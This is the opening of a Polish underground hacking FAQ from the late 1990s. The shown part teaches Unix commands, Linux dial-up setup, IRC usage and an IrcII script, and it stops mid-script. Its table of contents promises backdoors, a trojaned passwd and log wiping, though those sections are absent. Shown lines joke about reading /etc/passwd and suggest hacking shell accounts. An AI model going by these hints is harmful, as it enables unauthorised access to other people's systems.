
------------------------------------------------------------------------------
SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK
______________________________________________________________________________
__ __
__ SLABIK FAQ ver. 1.1 __
__ __
__ Na poczatek: Nie ponosze odpowiedzialnosci za zadne skutki,wynikajace __
__ z niewlasciwego korzystania z tego FAQ. Wszystko co robisz, robisz na __
__ wlasna odpowiedzialnosc !!! __
__ __
__ Conntact : stoned@friko4.onet.pl __
__ __
-------------------------------------------------------------------------------
FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAA FAQ FAQ
_______________________________________________________________________________
Dlugo zastanawialem sie by napisac ten FAQ, mysle jednak ze, znajdzie sie
ktos, komu przydadza sie informacje zawarte w nim. Nie opisywalem wielu metod,
szczegolow i spraw ktore opisane sa w innych FAQ, bo mysle, ze nie ma sensu
powielac tych informacji skoro mozna je znalezc gdzie indziej.
Zamiescilem tu troszke informacji o hacku, krotkie wprowadzenie do systemu
UNIX, krotkie info na temat IRC, opis IrcII i kilka innych praktycznych rzeczy.
Wiekszosc informacji pochodzi ode mnie, sa tez takie ktore pochodza z innych
zrodel, ale jak juz wspomialem staralem sie nie powielac tych informacji.
W kazdym razie nie jest to kserokopia zadnych innych znanych FAQ.
A wiec do konkretow! ;)
-=SPIS TRESCI=-
I PODSTAWY SYSTEMU UNIX
1.1 Krotka historia UNIX-a
1.2 UNIX jako system, zalety
1.3 Podstawowe komendy UNIX-a
1.4 Instalacja Linuxa i ustawienia dla TPSA
1.5 Podstawowe wiadomosci na temat Linuxa
II IRC
2.1 Krotkie info na temat IRC
2.2 Polecenia IrcII
2.3 Jak postawic bota
2.4 Scrypty do IrcII
III HACKING - PODSTAWY
3.1 Hackerskie zasady
3.2 Od czego zaczac
3.3 Twoje glowne zadanie
3.4 Metody lamania systemu - wprowadzenie
3.5 Sposoby na poprawienie sobie bytu
IV HACKING - METODY
4.1 Scanowanie dziur serwera
4.2 Wysylanie fakemaili
4.3 Bugi w sendmailu
4.4 Sendmail scanner
4.5 Dziury WWW
4.6 Scanner dziur WWW
4.7 Metoda na roota z core
4.8 Prosty Backdoor
4.9 Kon trojanski passwd
V HACKING - BEZPIECZENSTWO
5.1 Bezpieczenstwo
5.2 Jak hackowac bezpiecznie - zacieranie sladow
5.4 Co zrobic, gdy jestes podejrzany
VI DODATKI
6.1 Lista serwerow udostepniajacych bezplatne konta
6.2 Inne polskie serwery
1.1 Krotka historia UNIX-a
Dawno temu, w polowie lat 60-tych grupa facetow z laboratoriow Bell firmy AT&T
pomyslala sobie, ze fajnie by bylo napisac jakis nowy system operacyjny
o nazwie Multics. System ten skonczyl swoj zywot w latach 1969, kiedy Bell
odcial doplyw funduszy,lecz kilku autorow z wyjsciowej grupy dalej kontynuowa-
lo prace nad czyms co pozniej otrzymalo nazwe UNIX i zrobilo zawrotna kariere
w AT&T. We wczesnych latach 80 - tych stworzono nowe wersje UNIXA o nazwie
System III, i System V. Przez kolejne lata powstawaly nowe ulepszone wersje,
a obecnie sa ich dziesiatki. Do najpopularniejszych naleza: Berkeley, CPIX,
FOS, Genix, HP-UX, IS/I, OSx, Sys3,PC-IX, PERPOS, Ultrix, Zeus, Xenix, UNITY,
VENIX, UTS, Unisys, Unip lus+, UNOS, Idris, QNIX, Coherent, Cromix, Sixth
edition, FreeBSD (Darmowy) czy w koncu Linux (Darmowy) i to w kilku edycjach:
Debian, Red Hat, czy tez Slackware.
1.2 UNIX jako system operacyjny, zalety
UNIX jako system operacyjny bardzo szybko zyskal sobie popularnosc
uzytkownikow. Do najwazniejszy jego zalet naleza:
- 32-bitowosc, wykorzystuje pelnie mocy obliczeniowej CPU,w przeciwienstwie do
16-bitowych systemow DOS
- Wbudowany kompilator C, C++
- Nie ma ograniczen w wykorzystywaniu pamieci, wykorzystuje cala pamiec RAM w
przeciwienstwie do DOS-a ktory ma ograniczenie do 640k
- Obsluga podstawowych protokolow TCP/IP slip lub ppp
- Graficzny interfejs uzytkownika X-Windows.
- Stabilnosc w dzialaniu
1.3 Podstawowe komendy UNIX-a
at - [czas] [data] <[plik] wykonywanie czynnosci w zadanym czasie
cal - wyswietla kalendarz
cat - przeglada plik cos w stylu dosowego type. np: cat /etc/passwd ;)
cd - zmiana katalogu, cd .. cofanie sie
chfn - zmienia informacje fingera
chmod - [mode] [plik] - zmiana dostepow do pliku.
chown - [nick] [plik] - zmiana wlasciciela pliku.
clear - czyszczenie zawartosci ekranu
cmp - [plik] [plik] - porownywanie zawartosci dwoch plikow
cp - [plik] [plik] - kopiowanie plikow
date - wyswietlanie biezacej daty
df - disk free , pokzuje ilosc miejsca na dysku
diff - [plik] [plik] - pokazywanie roznicy miedzy dwoma plikami.
echo - wyswitla tekst, zmienne, wyniki dzialania programu
find - [poczatek] -name [nazwa] - poszukiwanie plikow
finger - [username] - informacje o uzytkowniku.
ftp - program ftp kilka najwazniejszych komend:
open host ,get [plik] pobierz plik, send [plik] wyslij plik, hash-
wyswietlanie # po 1024 bajtach, bye konczy sesje, help pomoc
gcc - [plik] kompilacja cc
g++ - [plik] kompilacja c++
grep - [wyraz] [nazwa pliku] - przeszukiwanie plikow za jakims wyrazem.
gunzip - guznip [plik] - dearchiwizacja
help - pomoc
irc - uruchomienie klienta irc. (zazwyczaj IrcII )
kill - ma powiazania z ps , moze zabijac procesy w pamieci korzystjac z
numeru PID. kill PID, lub kill -9 PID ( patrz ps)
last - [nazwa uzytkownika] - sprawdza logi uzytkownika
lastcomm - [nazwa uzytkownika] - sprawdza co ostatnio robil uzytkownik.
ln - [plik] [plik]- link , w stosunku do katalogow , link symbol. -s
logout - wylogowanie sie
ls - wyswietla pliki i katalogi ls -l daje wiecej info, -a - ukryte
man - [komenda] - szczegolowa pomoc na temat konkretnej komendy
mail - czytanie poczty
mesg - zablokowanie lub odblokowanie wywolywania komunikatow
mkdir - [katalog]tworzenie nowego katalogu.
mount - [/dev/urzadzenie] [katalog docelowy] montowanie danego urzadzenia
mv - [plik] [plik] -zmiana nazwy pliku, lub przeniesienie do innego kat.
passwd - zmiana hasla uzytkownika.
ps - pokazuje co robisz w pamieci i jaki to ma numer (PID)
PID TTY NAME
155 001 tcsh
200 001 watch
mozna uzywac przelacznikow -l, -aux
pwd - pokazuje bierzacy katalog
rm - [plik], kasuje plik ( rm -r )
rmdir - kasuje katalog gdy jest pusty.
rwho - to samo co who.
set - ustawienie zmiennych set
screen - odpalenie procesu w tle, by wyjs nie zakanczajac sesji
ctrl+a, ctrl+d -> deatched , screen -x , screen -r pid -> atached
shutdown - shutdown now, shutdown -rfn now, reset
size - wyswietlenie wielkosci pliku
sleep - zawieszenie procesu na podana liczbe sekund
talk - program do prowadzenia rozmow
tar - tar -xvf plik.tar - roztarowywanie pliku.
- archiwizacja - tar -cvf [plik]
telnet - praca na zdalnym komputerze
umount - ma scisly zwiazek z mount, odmontowanie urzadzenia.
w - [nazwa uzytkownika] - sprawdza co robi uzytkownik
who - wypisuje info o zalogowanych uzytkownikach.
who am i - kto ja jestem ( lub whoami)
write - [login][term] - pisanie do innego zalogowanego uzytkownika.
1.4 Instalacja Linuxa i ustawienia dla TPSA
Instalacja zazwyczaj bywa prosta i ogranicza sie do znajomosci podstawowych
komend i nie duzej zdolnosci myslenia ;)
Przewaznie zaczyna sie od zrobienia dyskietki 'bootdisk', odpowiedniego
pociecia dysku na partycje i dodanie partcji ext2 i swap ( fdisk, diskdruid).
Minimalne wymagania dyskowe to okolo 100 MB, osobiscie polecam poswiecic na
ten cel okolo 300 mb i wiecej.Na partycje swap przeznaczamy okolo 2x wiecej
miejsca niz mamy pamieci RAM. Kolejnym krokiem jest podanie dysku zrodlowego
i docelowego ,wybranie odpowiednich pakietow do instalacji, konfiguracja
Xservera i na koncu zainstalowanie Linux Loadera (lilo). Polecam rowniez
utworzenie sobie dyskietki awaryjnej, gdyz na poczatku roznie to bywa... ;)
Instalacja raczej nie sprawia klopotu, natomiast wiekszym problemem bywa dla
niektorych konfiguracja polaczen dla TPSA ;) Dlatego na prosbe wielu znajomych
zamieszczam dokladny opis ustawien. Podstawa oczywiscie jest to, by jadro sy-
stemu zawieralo skompilowana obsluge PPP.
Dla posiadaczy RedHata wystarczy odpowiednio skonfigurowac netconfig
w X-windows, wyglada to nastepujaco:
NAMES
Hostname:jakis_host
Domainname: linux.net
Search for: www.tpsa.pl
Nameservers: 194.204.152.34, 194.204.195.1 (wazne!)
HOSTS
IP 0.0.0.0 ; NAME cos_tam ; NICKNAMES cos_tam
INTERFACES
INT IP PROTO ATBOT ACTIVE
lo 127.0.0.1 none yes nonactive
ppp0 0.0.0.0 none no active/nonactive *
* active wybieramy w momencie laczenie, deactive w momenncie rozlaczenia.
EDIT ppp0
HARDWARE
Line speed: 115200, port: /dev/cuax ( x = 1 dla COM2, x=2 dla COM3 itd..)
Options: none
COMMUNICATE
ATZ, ATDP 0w202122 (pulse), ATDT 0202122 (tone)
Expect: Send:
Username: ppp
Password: ppp
* wazne poczatkowe wielkie litery
NETWORK local IP: 0.0.0.0
ROUTING
Inter..: /dev/cuax
Netaddress: tpsa
Net mask: 255.255.255.0
Gate..: 0.0.0.0
# end
Zabawa w takie konfigurowanie to oczywiscie lameriada o wiele szybciej mozna
skonfigurowac PPP edytujac odpowiedni plik - /etc/resolv.conf
-- CUTE HERE --
domain linux.net
hostname www.tpnet.pl
search for www.tpsa.pl
nameserver 194.204.152.34
nameserver 194.204.195.1
-- CUTE HERE --
I teraz mozemy sie polaczyc wykorzystujac minicom, lub dwa bardzo uzyteczne
programy pppd i chat. Napisalem dwa krotke scrypty ktore zautomatyzuja reczne
potwierdzenie autentycznosci :
-- CUTE HERE --
# tpsa
/usr/sbin/pppd connect $HOME/tpsa_2 \
/dev/cuax 115200 crtscts cuax noipdefault defaultroute
-- CUTE HERE --
-- CUTE HERE --
# tpsa_2
/usr/sbin/chat -v ABORT BUSY "" ATZ OK ATDP0w202122 \
'Username:' ppp 'Password:' ppp
-- CUTE HERE --
Nalezy pamietac o nadaniu plikom odpowiedniego atrybutu (chmod +x) ;)
Polaczenie mozemy sprawdzic wywolujac: ifconfig, poprawne uruchomienie serwisu
PPP, powinno wygladac tak:
lo Link encap:Local Loopback
inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0
UP BROADCAST LOOPBACK RUNNING MTU:3584 Metric:1
RX packets:20 errors:0 dropped:0 overruns:0 frame:0
TX packets:20 errors:0 dropped:0 overruns:0 carrier:0 coll:0
ppp0 Link encap:Point-to-Point Protocol
inet addr:194.204.139.63 P-t-P:194.204.139.4 Mask:255.255.255.0
UP POINTOPOINT RUNNING MTU:1500 Metric:1
RX packets:7 errors:0 dropped:0 overruns:0 frame:0
TX packets:8 errors:0 dropped:0 overruns:0 carrier:0 coll:0
* Twoj IP to 194.204.139.63
Warto tez pamietac o odpowiednim ustawieniu portu, /dev/cuax. Z powodu tego
za maksymalna predkosc portu wynosi 9600bps, a modemy sprzetowo moga kompreso-
wac tylko do 4 razy nalezy ustawic kompresje programowa:
setserial /dev/cuax spd_hi - dla modemow 14400 bps
setserial /dev/cuax spd_vhi - dla modemow powyzej 28800 bps
mozna dodac to do jakiegos pliku startowego np. /etc/profile
1.5 Podstawowe wiadomosci na temat UNIXA
Podstawowym elementem systemu UNIX jest jadro (kernel).To ono odpowiedzialne
jest za podstawowe operacje systemowe i dyskowe systemu.Nastepnym elementem sa
biblioteki. Elemenyem posrednim miedzy uzytkownikiem a systemem jest powloka
(shell).Role powloki w systemie DOS pelni command.com.Znanych jest wiele typow
shelli: np. zsh, pdksh, sh, tcsh i bash
Administratorem systemu jest root. Root ma prawo decydowac o wszystkim. On
nadaje userom uprawnienia, dodaje nowych uzytkownikow, konfiguruje system.
Linux posiada "strukture plikow i katalogow". Podlegaja one pewnym zasadom
podobnie jak w Dosie, jednakze jest tu kilka roznic. Pliki w dosie maja format
8.3, czyli osiem znakow na nazwe 3 na rozszerzenie. W Linuxie nazwa pliku
(katalogu) moze miec nazwe do 255 znakow(ext2) i zawierac dowolna licze kropek
i innych dowolnych znakow np. To.jest.bardzo.dlugi.plik. Ponadto w Linuxie
rozrozniane sa male i wielke litery. To znaczy plik i Plik to dwa rozne pliki.
Pliki rozpoczete od znaku "." sa plikami ukrytymi. Plik ukryty nie pokaze sie
po wydaniu polecenia ls.Pliki wykonywalne nie maja rozszezen *.bat *.com *.exe
W systemie UNIX, plik jest wykonywalny jesli posiada atrybut execute (+x)
Mowiac o atrybutach nalezy przyblizyc to pojecie. Postaram sie wyjasnic zasade
praw dostepu do plikow i katalogow.
Wydajac polecenie ls -l wyswietli sie cos w stylu :
-rw-r--r-- 1 500 root 51733 Nov 19 02:42 BitchX.help
-rw-r--r-- 1 500 root 3971 Sep 12 1997 BitchX.quit
-rw-r--r-- 1 500 root 25777 Sep 12 1997 BitchX.reasons
-rw-r--r-- 1 500 root 1270 Nov 8 07:59 COMPILE-PROBLEMS
-rw-r--r-- 1 500 root 148132 Nov 19 02:28 Changes
-rw-r--r-- 1 500 root 7049 Jul 1 1997 INSTALLATION
-rw-r--r-- 1 500 root 7042 Apr 29 22:27 Makefile
-rw------- 1 500 root 6960 Oct 20 1997 Makefile.in
drwxr-xr-x 4 500 root 1024 Nov 8 00:01 OS2
drwxr-xr-x 4 500 root 1024 Nov 8 00:00 WinNT
Pierwsza kolumna z lewej to wlasnie prawa dostepu dla dla roota, users, others.
r - read , w - write , x - execute
Prawa nadaje root, lub wlasciciel pliku ( chown zmiana wlasciciela ).
Zmiane atrybutow dokonuje sie poleceniem chmod.
Czesto spotykamy sie z okresleniem dostepu; 777, 755, 711 itp.
Co te liczby nam mowia?
root users others
|r|w|x||r|w|x||r|w|x|
4+2+1 4+2+1 4+2+1
A wiec liczba 777 mowi nam o pelnym dostepie do plikow dla wszystkich.
Liczba 700, wskazuje nam na pelny dostep dla roota i braku dostepu dla
pozostalych itd. Jesli na poczatku wystapi -d oznacza to katalog.
Dla pliku, x oznacza mozliwosc uruchmienia go, dla katalogu - mozliwosc
wejscia w katalog. Czeto spotykamy sie z roznymi innymi znakami np: l, b, c,
maja one troche inne znaczenie i czesto oznaczaja symboliczne dolaczenie,
urzadzenie blokowe, urzadzenie znakowe itp.
W systemie UNIX , katalogiem glownym jest / , standardowa struktura katalogow
wyglada mniej wiecej tak :
/bin - Katalog ten zawiera polecenia i programy systemowe UNIX-a
/dev - Zawiera wszystkie urzadzenia.
/etc - Zawiera pliki konfiguracyjne
/home - Znajduja sie tu katalogi osobiste wszystkich uzytkownikow systemu
/sbin - Zawiera oprogramowanie Unixowe ( w wiekszosci dla administratora)
/root - Katalog osobisty roota ( W starszych systemach bylo /home/root)
/usr - programy i pliki ogolnodostepne, gry, pomoc, dokumentacja
/lib - biblioteki systemowe
/var - katalog tymczasowy zawierajacy logi itp.
/tmp - katalog tymczasowy systemu UNIX
Oczywiscie katalogow tych moze byc o wiele wiecej, a struktura moze wygladac
nieco inaczej, zalezy to jednak od systemu i jego administratora ;)
Urzadzenia w systemie UNIX sa zdefiniowane prze odpowiednie pliki znajdujace
sie w katalogu /dev. A wiec kazde urzadzenie przypisany ma odpowiedni plik.
Jak podpiac dyski, stacje dyskietek czy tez CD-ROM do systemu?
Sluzy do tego celu polecenie mount
mount opcje /dev/XXXXX /mnt/katalog
Na poczatek nalezalo by sie zastanowic z jakich urzadzen bedziemy
korzystac najczesciej i stworzyc sobie odpowiednie katalogi w /mnt np.
cdrom, floppy, dysk itd.
XXXXX oznacza odpowiednie urzadzenie na kontrolerze ide lub scsi
Ponizsza tabela pomoze odpowiednio zdefiniowac urzadzenie
________________________________________________________________
Typ urzadzenia Nazwa urzadzenia
________________________________________________________________
* IDE na kontrolerze 0 - primary /dev/hda
* IDE na kontrolerze 0 - secondary /dev/hdb
* IDE na kontrolerze 1 - primary /dev/hdc
* IDE na kontrolerze 1 - primary /dev/hdd
* SCSI pierwszy /dev/scd0
* SCSI drugi /dev/scd1
* Floppy /dev/fd0
________________________________________________________________
Jesli dysk podzielony jest na partycje, wtedy nazwa urzadzenie nazywa sie
odpowiednio do przydzielonej partycji np /dev/hda1, /dev/hda2 itd.
By zamontowac CD-ROM nalezy uzyc dodatkowych opcji:
mount -t iso9660 XXXXX /mnt/cdrom
2.1 Krotkie info na temat IRC
Co to jest IRC chyba nikomu tlumaczyc nie trzeba ;)
Jednak zastanowmy sie jak funkcjonuje siec IRC.
Schemat najprostszej sieci IRC
_________ _________ _________
| KLIENT1 |____| SERWER2 |___| KLIENT3 |
|_________| |_________| |_________|
|
_________ ___|_____ _________
| SERWER1 |____| SERWER3 | | KLIENT4 |
|_________| |_________| |_________|
| | __________|
____|____ ___|__|__ _________
| KLIENT2 | | SERWER4 |___| KLIENT5 |
|_________| |_________| |_________|
A wiec IRC to siec wielu serwerow i podlaczonych do nich klientow.
Mowiac, o sieci nalezy wspomiec tez o netsplitach wystepujacych miedzy
poszczegolnymi serwerami. To ciekawe zjawisko mozna wykorzystac na przyklad..
do przejecia kanalu. Nie bede opisywal tej metody,bo napewno jest ona kazdemu
dobrze znana, odsylam do innych FAQ. Z zasady serwery IRC to maszyny pracujace
na systemach UNIX. Sa one nadzwyczaj dobrze zabezpieczone - udostepnione sa
tylko porty dla IRC, chociaz zdarzaja sie od czasu do czasu wlamania .
Na przyklad ostatnio byla proba wlamania sie do servera gothic.dal.net i..
udalo sie ;)
Znanych jest wiele sieci IRC. Jedna z najstarszych grup byl EFnet.
Zyskal sobie bardzo duzo popoularnosc i urosl do takich rozmiarow ze musial
sie podzielic. Pod nazwa EFnet kryje sie siec serwerow amerykanskich i
europejskich. Do sieci amerykanskiej nalezy tez wiele serwerow kanadyjskich
czy australijskich. Do sieci europejskiej naleza rowniez serwery z polski :
- krakow.irc.pl
- poznan.irc.pl
- warszawa.irc.pl
- lublin.irc.pl
Inne serwery europejskie i amerykanskie nalezace do tej grupy to:
- irc.funet.fi
- irc.nada.kth.se
- irc2.magic.ca
- irc.phoenix.net
Inna znana siecia IRC jest UNDERNET. Jest ona bardziej zorganizowana niz
EFnet i wprowadzono do niej wiele udogodnien np. NickServ.
Najpopularniejsza chyba obecnie siecia jest jednak DALnet. Siec ta powstala
na poczatku roku 1995. Jej zalozycielem byl Dalvenjah FoxFire, ktoremu nie
podobala sie pewnie siec EFnet i postanowil uruchomic wlasna ;) Jego celem
bylo zaprowadzenie porzadku i organizacji. Wprowadzil dostepne serwisy tj.
ChanServ, NickServ, MemoServ, HelpServ. Siec ta skupia dziesiatki serwerow
amerykanskich i europejskich. W Polsce niestety nie ma jeszcze serwera IRC,
ale doszly mnie sluchy ze niektorzy nad tym pracuja ;) By przylaczyc sie do
takiej sieci trzeba spelniac szereg wymagan postawionych przez operatorow
tych sieci. Szerzej opisane jest to na stronie Dalnetu.
Najpopularniejsze serwery IRC ssieci DALnet:
- liberator.dal.net 6668, 7000
- voyager.dal.net 6668-7000
- phoenix.dal.net 7000-7003
- toronto.dal.net 6667-7000
- spider.ca.us.dal.net 6667,6669
Znane sa rowniez inne mniejsze grupy IRC
- ICEnet (acid.uk.icenet.org ; phat.us.icenet.org 6667)
- newnet (irc.ucs.net ; irc.mol.net.my ; irc.limited.net)
- FEFnet (irc.limited.net 6667)
- GalaxyNet (atlanta.ga.us.galaxynet.org 6667)
- StarLink (glen.vc.au.starlink.org)
2.2 Polecenia IrcII
/join <#kanal> - Wejscie na odpowiedni kanal, i utomatyczne wyjscie jesli
uzytkownik znajduje sie juz na innym kanale. ( zobacz set novice )
/leave <#kanal> - opuszczenie biezacego kanalu. Zamiast leave mozna podac
* co oznacza aktualny kanal
/msg - wysylanie prywatnych tekstow do wybranej osoby
/nick - zmiana biezacego nicka
/who - informacje o osobach na wybranym kanale
/whois - informacje na temat wybranej osoby
/quit - zakonczenie, i wyjscie z sieci
/kick - po prostu kop
/admin - wyswietla informacje o serwerze
/alias - bardzo pozyteczne polecenie pozwalajace na
tworzenie skrotow np. alias j join spowoduje
po wpiasaniu /j #jakis_kanal wejscie na kanal
/away - sluzy do informowania innych o naszej zajetosci
/bind - sluzy do tworzenia skrotow klawiszowych
/clear - czysci zawartosc ekranu
/ctcp - Client To Client Protocol - bezposrednie polaczenie miedzy klientami
/ctcp ping - podaje czas w sekundach o wyslaniu informacji do danej
osoby, i powrot
/ctcp vrsion - informacje o wersji klienta z jakiego korzysta osoba
/ctcp time - podaje lokalny czas u osoby
/ctcp ginger - wyswietla dodatkowe informacje o uzytkowniku
/date - wyswietla aktualna date oraz godzine
/dcc - Direct Client Connection
/dcc send - wyslanie pliku do danej osoby
/dcc chat - bezposrednie polaczenie z osoba bez uzycia serwera
/exec wykonuje jakies zewnetrzne polecenie
/ignore - ignoruje informacje przychodzace od danej osoby
PUBLIC -ignoruje wypowiedzi publiczne, danej osoby skierowane na kanal
MSG - ignoruje wypowiedzi danej osoby na msg
NOTICES - ignoruje komunikaty typu notice
NOTES - ignoruje komunikaty typu note
INVITES - ignoruje zaproszenia na kanal
WALLOPS - ignoruje komunikaty dla operatorow
CTCP - ignoruje wszystkie komunikaty CTCP
CRAP - ignoruje wszystko to co powyzej wymienione
ALL - ignoruje wszystko od danej osoby
NONE - wylacza ignorowanie osoby
/lastlog - wyswietla ostatnie otrzymane komunikaty (ile,zalezy od ustawien)
/load - ladowanie scryptu
/lusers - wyswietla krotka statystyke dotyczaca sieci irc
/mode / +/- -ustawienie statusu kanalu,lub atrybutow nicka
/motd - wyswietla wiadomosc dnia
/names - podobnie jak who
/notify - dodaje nick do listy osob o pojawieniu sie ktorych chcemy
byc automatycznie informowani.( '-' usuwa nicka z listy)
/on - jedno z najwazniejszych polecen przy pisaniu
scryptow. Pozwala na automatyczne reagowanie na
jakies zdarzenie
/query - powoduje przejscie w tryb stalej rozmowy z dana osoba, nie
trzeba za kazdym razem pisac /msg nick (samo /query wylacza)
/redirect - przesyla wynik komendy na podany kanal lub
do danej osoby. Mozna laczyc z /exec np.
/redirect /exec ps -aux #polcafe
/save - zapisuje ustawienia programu IrcII do pliku, jesli
nazwa nie zostala podana, to plikiem bedzie: .ircrc
/server - laczy nas z podanym serwerem
/set - ustawia zmienne programu
HELP_PATH - wskazuje na katalog w ktorym znajduje sie plik z pomoca
HOLD_MODE - ustawione na ON powoduje, ze ekran automatycznie sie przewija
po zapelnieniu tekstem.
LASTLOG - definiuje ilosc lini wyswietlanych poleceniem lastlog
LOG - wlacza lub wylacza zapisywanie do pliku, standardowy plik - IrcLog
LOGFILE - nazwa pliku do ktorej bedzie zapisywany LOG
NOVICE - standardowo ustawione na off, co ogranicza wiekszosc operacji
zalecane ustawic na ON
REALNAME - tekst jaki jest wyswietlany przy komendzie /whois
/topic - zmienia temat kanalu ( jesli kanal ma +t wymaga @)
/version - wersja klienta danej osoby
/whowas - krotkie info o osbie ktora byla na IRC, ale juz jej nie ma
/window - szereg komend do ustawiania parametrow okna
To tylko kilka najwazniejszych komend. By ulatwic sobie zycie polecam
zaladowac jakis ciekawy scrypt, ktory zautomatyzuje wiekszosc operacji.
Taki scrypt zamiescilem ponizej.(punkt 2.4) Ma on wbudowanych wiele opcji,
odpowienio ustawione zmienne, rejoin, autoop, autoignore i wiele innych.
Wazna rzecza jest rowniez ustawienie zmiennych srodowiskowych w systemie UNIX
Oto kilka najwazniejszych :
IRCNICK - domysle ustawienie nicka, przy kazdym uruchamianiu IrcII
IRCNAME - domyslne ustawienie tekstu ktory wyswietlany jest przy /whois
IRCSERVER - domyslne ustawienie servera z ktorym bedziemy sie laczyc
IRCPATH - specyfikuje katalog z ktorego pobierany bedzie plik przy /load
TERM - okresla typ terminala, moze to byc np. vt100 ;)
Ustawienie zmiennych zalezy od powloki jakiej uzywasz, w wiekszosci
przypadkow dziala takie polecenie:
=;export np.
IRCNAME="Jestem sobie Slabik ;)";export IRCNAME
W przypadku innych powlok dziala polecenie :
setenv np:
setenv IRCNAME "Jestem sobie Slabik ;)"
2.3 Jak postawic bota
Odpowiedz jest prosta, polaczyc sie z internetem odpalic jakis program IRC,
i zostawic odpalona sesje np. na 24 h ;) Nie chcial bym byc jednak w skorze
tego ktory bedzie placil za rachunek telefoniczny. Chyba, ze oczywiscie ktos
ma lacze dzierzawione ;) No ale nie w tym rzecz. Jak postawic bota rozlaczajac
sie, a nie zamykajac sesji IRC.? Metod jest kilka, ja podam jedna z najpro-
strzych, i najczesciej stosowanych. Na poczatek trzeba miec jakiekolwiek konto
UNIX-owe z dostepem do shella i.. screena. Mozna sobie wykupic takie konto,
za pare zlotych miesiecznie,mozna shackowac albo skorzystac z bezplatnych kont.
Na koncu trgo FAQ zamiescilem kilka serwerow udostepniajcych bezplatne konta.
Jak dziala screen? Screen to program umozliwiajacy zostawianie otwartej sesji
na serwerze.Tak, ze laczac sie z zdalnym serwerem odpalamy screena,uruchamiamy
jakis program, rozlaczmy sie a program kontynuuje prace. Screena mozna wyko-
rzystac do innych fajnych rzeczy, nie koniecznie do stawiania bota, np. mamy
do sciagniecia jakis duzy plikna 50Mb. Odpalamy screen, ftp i ciagniemy. Moze-
my sie rozlaczyc, a po ponownym polaczeniu plik bedzie sciagniety, pod waru-
nkiem, ze mamy takie duze konto ;))) Ale do rzeczy, mialo byc o botach.
A wiec odpalamy program screen komenda screen.Uruchamiamy program irc,ladujemy
jakis ciekawy scrypt,i mozemy sie rozlaczyc. Sluzy do tego kombinacja klawiszy
Ctrl+a, Ctrl+d. Program przechodzi do pracy w tle ( deatched ). Aby powrocic
do niezakonczonej sesji, laczymi sie ponownie i piszemy screen -x, lub -r PID,
jesli odpalonych jest wiecej procesow w tle niz jeden.Screen -wipe zabija proc.
Uwaga! stawianie botow, nie mile jest widziane prze administratorow sieci IRC,
a nawet zabronione. Dlatego trzeba robic to ostroznie. Rowniez wykrycie screena
dla administratora nie jest zadnym problemem. Dlatego nie pisze tego, by kazdy
teraz stawial sobie bota, bo nie milo sie rozmawia z botami. Niech informacje
te posluza jako ciekawostka edukacyjna ;)))
2.4 Scrypty do IrcII
Ponizej zamieszczam ciekawy scrypt ktory, zautomatyzuje wiekszosc wykonywanych
operacji, ma wiele funkcji i nadaje sie jako scrypt do bota ;)
-- CUTE HERE --
### Begin of Script ###
### Testowany na IrcII 2.8.2, 2.9
@version = [v1.1]
@updatum = [04.04.1998]
@Gi = [[slab fucker]]
@G = [$Gi\]
bind ^U erase_line
bind ^W parse_command win move 1
bind ^L switch_channels
bind ^X next_window
bind ^B self_insert
bind ^_ self_insert
bind ^V self_insert
bind ^R parse_command refresh_all
bind ^K erase_to_end_of_line
bind ^T erase_to_beg_of_line
bind ^Y yank_from_cutbuffer
bind ^A scroll_start
bind ^E scroll_end
bind ^N scroll_forward
bind ^P scroll_backward
bind ^O enter_digraph
bind ^I parse_command ^tk.getmsg 1 $tk.msglist
bind ^F parse_command ^tk.getmsg -1 $tk.msglist
bind ^D parse_command tk.delnick
bind ^C quit_irc
bind ^Z stop_irc
bind ^[ meta1
bind meta1-[ meta2
bind meta2-A backward_history
bind meta2-B forward_history
bind meta2-C forward_character
bind meta2-D backward_character
bind meta1-^[ command_completion
bind meta1-b beginning_of_line
bind meta1-e end_of_line
bind meta1-m parse_command hold
bind meta1-s parse_command /!$"Search for: "
bind meta1-) type_text :-)
bind meta1-( type_text :-(
bind meta1-; type_text ;-)
bind meta1-8 type_text 8-)
bind ^[P type_text :-P
bind meta1-p nothing
bind ^[d type_text d:-)
bind ^[| type_text :-|
bind ^[i parse_command floodprot $laatstenick $laatstehost $laatsteuser
bind ^[I parse_command floodprot $laatstenick $laatstehost
^set display on
^set novice off
^set input_protection on
^set inverse_video on
^set bold_video on
^set underline_video on
^set mail 1
^set flood_rate 8
^set flood_after 8
^set flood_users 8
^set beep_max 5
^set status_user
^set status_channel %C
^set status_hold -- MORE: --
^set beep off
^set status_window ^
^set auto_unmark_away off
^set show_channel_names on
^set channel_name_width 12
^set auto_whowas on
^set show_away_once on
^set show_who_hopcount on
^set input_prompt $T>
^set warn_of_ignores on
^set exec_protection on
^set send_ignore_msg off
^set scroll on
^set notify_on_termination off
^set clock on
^set clock_24hour on
^set hide_private_channels off
^set indent on
^set continued_line
^set lastlog_level all
^set lastlog 8192
^set -translation
eval ^set status_format [%R]%T %*%@%N%#%S%H%Q%A%C%+%I%O%M %W%> $Gi
on ^376 * /info
on #-raw_irc 212 "*!*@* *" {
if (![$isignored($0)]) {
if ([$left($index(! $0) $0)]!=[$N]) {
@ helenaam = [$0]
@ lengtenick = [$index(! $0)] + 1
@ lengteuser = [$index(@ $0)] - [$lengtenick]
@ lengtehost = [$@helenaam] - [$index(. $0)]
@ laatstenick = [$left($index(! $0) $0)]
@ laatsteuser = [$strip(~ $mid($lengtenick $lengteuser $0))]
@ laatstehost = [$mid($index(. $0) $lengtehost $0)]
}
}
}
on #^mode 23 * if ([$0]!=[$N]) {banprot $0-}{}
on ^msg "*" {
echo *$0* $1-
if (([$A]!=[])&&([$wegtext]!=[])){
@ datum = [$stime($time())]
@ tijd = [$word(3 $datum)]
@ dattijd = [$word(1 $datum)] ## [ $word(2 $datum)] ## [ $mid(0 5 $tijd)]
//^msg %away <$0!$userhost() [$dattijd]> $1-
if (!rmatch($0 $^\nickssent)) {
^notice $0 Your messages are being logged
@ nickssent = nickssent ## [ $0]
}{}
}
}
on ^notice "*" {echo -$0\- $1-}
on ^action "*" if ([$1]==[$N]) {
echo *> $0 $2-
}{
if ([$1]==[$C]) {
echo * $0 $2-
}{
echo * $0:$1 $2-
}
}
on ^dcc_chat "*" {echo =$0\= $1-}
on ^raw_irc "% PRIVMSG % :VER**" {
if (![$isignored($0)]) {
